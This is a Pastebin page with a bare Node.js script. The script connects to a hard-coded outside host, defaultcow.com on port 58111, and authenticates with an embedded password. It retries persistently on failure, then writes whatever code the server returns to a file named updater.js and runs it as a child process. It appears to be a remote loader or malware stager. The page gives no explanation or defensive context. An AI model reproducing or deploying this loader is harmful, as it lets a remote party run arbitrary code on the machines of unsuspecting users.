Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var net = require('net');
- var fs = require('fs');
- var path = require('path');
- var cp = require('child_process');
- var process = require('process');
- process.on('uncaughtException', function(err) {
- var str = new Error().stack.toString();
- console.log(str);
- try {
- fs.appendFileSync("err.log", str + "\r\n\r\n");
- } catch (e) {
- console.log("WTF");
- }
- });
- /*
- */
- var config = {
- host : 'defaultcow.com',
- port : '58111',
- sentinel : '\0',
- pass: 'SD30CzZqNjVKaW76dCRN',
- updaterPath: "updater.js"
- };
- var started = false;
- var Server = function(host, port, pass, sentinel) {
- var recData = '';
- var sendStr = function(str, sentinel) {
- socket.write(str);
- socket.write(sentinel);
- };
- this.disconnect = function() {
- socket.end();
- };
- this.setEventHandlers = function(onError, onEnd) {
- this.onError = onError ? onError : function() {};
- this.onEnd = onEnd ? onEnd : function() {};
- };
- this.connect = function() {
- if (started) {
- return;
- }
- var server = this;
- socket = net.connect(this.port, this.host, function() {
- sendStr(server.pass, server.sentinel);
- socket.setKeepAlive(true, 10 * 1000);
- });
- socket.on('data', function(data) {
- data = data.toString();
- recData += data;
- });
- socket.on('error', function(err) {
- server.onError(server);
- });
- socket.on('end', function() {
- server.onEnd(server);
- });
- socket.on('timeout', function() {
- server.onError(server);
- });
- };
- this.getData = function() {
- return recData;
- };
- this.setEventHandlers(null, null, null, null);
- this.host = host;
- this.port = port;
- this.sentinel = sentinel;
- this.pass = pass;
- var socket = null;
- };
- var onError = function(server) {
- setTimeout(function() {
- server.connect();
- }, 2000);
- };
- var onEnd = function(server) {
- start(server.getData());
- };
- var con = new Server(config.host, config.port, config.pass, config.sentinel);
- con.setEventHandlers(onError, onEnd);
- con.connect();
- function start(recData) {
- console.log("Starting");
- if (started) {
- return;
- }
- started = true;
- fs.writeFileSync(config.updaterPath, recData);
- var out = 'ignore';
- var err = 'ignore';
- var proc = cp.fork(config.updaterPath);
- proc.on('error', function (err) {
- fs.appendFileSync("err.log", err.toString() + "\r\n\r\n");
- });
- con.disconnect();
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement